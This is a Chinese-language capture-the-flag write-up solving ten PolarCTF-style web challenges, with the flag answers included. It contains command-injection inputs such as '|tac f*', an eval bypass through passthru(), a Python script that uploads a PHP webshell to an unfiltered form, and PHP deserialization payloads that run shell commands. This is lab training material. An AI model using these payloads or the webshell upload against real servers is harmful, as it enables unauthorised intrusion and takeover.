1. 幹正則
開啟靶場發現是簡單的php程式碼審計, 先構造id=a[0]=www.polarctf.com, 由於要ping兩次, 所以先構造cmd=|ls
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
if (preg_match('/flag\.php/', $ip)) {
die("don't show flag!!!");
}
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其實很簡單!');
}
}
再由於正則匹配, 我們將cmd修改為cmd=|tac f*
#flag{e44882416c9fa79cc5a6a51e6e19cdbc}
2. cool
開啟靶場, 發現是簡單的php程式碼審計, 需要GET傳一個引數a, 但是系統命令執行函式system()被禁止了, 這裡我們用passthru()來替代, a=passthru('ls');
<?php
if(isset($_GET['a'])){
$a = $_GET['a'];
if(is_numeric($a)){
echo "no";
}
if(!preg_match("/flag|system|php/i", $a)){
eval($a);
}
}else{
highlight_file(__FILE__);
}
?>
由於flag字樣也被禁止了, 我們用通識符來得到flag即a=passthru('tac f*');
#flag{4512esfgsdIirhgui82545er4g5e5rg4er1}
知識擴充套件(PHP中常見的命令執行函式和程式碼執行函式)
1. 命令執行函式
system(), passthru(), exec(), pcntl_exec(), shell_exec(), popen()/proc_popen(), 反引號``
system()作用: 將字串作為OS命令執行, 自帶輸出功能
passthru()作用: 將字串作為OS命令執行,不需要輸出執行結果,且輸出全部的內容。
exec()作用: 將字串作為OS命令執行,需要輸出執行結果,且它只會輸出最後一行的內容。
反引號的作用: [``]反引號裡面的程式碼也會被當作OS命令來執行
2.程式碼執行函式
eval(),assert(),call_user_func(),create_function(),array_map(),call_user_func_array(),array_filter(),uasort(),preg_replace()
3. uploader
無任何過濾的檔案上傳, 直接編寫指令碼
#python
import requests
url = "http://0105ca15-ea17-4e7d-81f0-532138331d00.www.polarctf.com:8090/"
files = {'file': open('E:\桌面\webshell.php', 'rb')}
response = requests.post(url, files=files)
#如果狀態碼是200
if response.status_code == 200:
print("Sucessfully")
print(f"伺服器返回資訊: {response.text}")
else:
print(f"狀態碼為: {response.status_code}")
拼接$sandBox和檔名(http://0105ca15-ea17-4e7d-81f0-532138331d00.www.polarctf.com:8090/149c0f3372e25adcc21feb96ea439698/webshell.php), 再用蟻劍連線即可
#flag{256d5ca173f463165db6ed366b597da8}
4. 覆蓋
和第一題一樣
#flag{e44882416c9fa79cc5a6a51e6e19cdbc}
5. PHP反序列化初試
一眼鏈子為 Easy->__wakeup()->Evil->__toString()
先構造ls檔案:O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:2:"ls";s:9:"%20Evil%20env";N;}}
再去讀取flag: O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:12:"tac f1@g.php";s:9:"%20Evil%20env";N;}}
#flag{08a46a069bd77e33531bb2ab244f4196}
6. 機器人
根據題目名稱, 猜測存在/robots.txt, flag{4749ea1ea481a5d
發現有Disallow禁止目錄收錄, 猜測剩下一半flag在裡面
#flag{4749ea1ea481a5d56685442c8516b61c}
7. 掃掃看
根據題目提示, 用dirsearch掃一下
#flag{094c9cc14068a7d18ccd0dd3606e532f}
8. debudao
打卡靶場F12檢視原始碼得到fake_flag
透過BurpSuite發包試試看看有什麼回顯
#flag{72077a55w312584wb1aaa88888cd41af}
9. 審計
直接搜尋找到特殊值繞過即可
或者
#flag{1bc29b36f623ba82aaf6724fd3b16718}
10. upload1
可以看到過濾的字尾名
上傳成功用蟻劍連線即可拿到flag
#flag{adbf5a778175ee757c34d0eba4e932bc}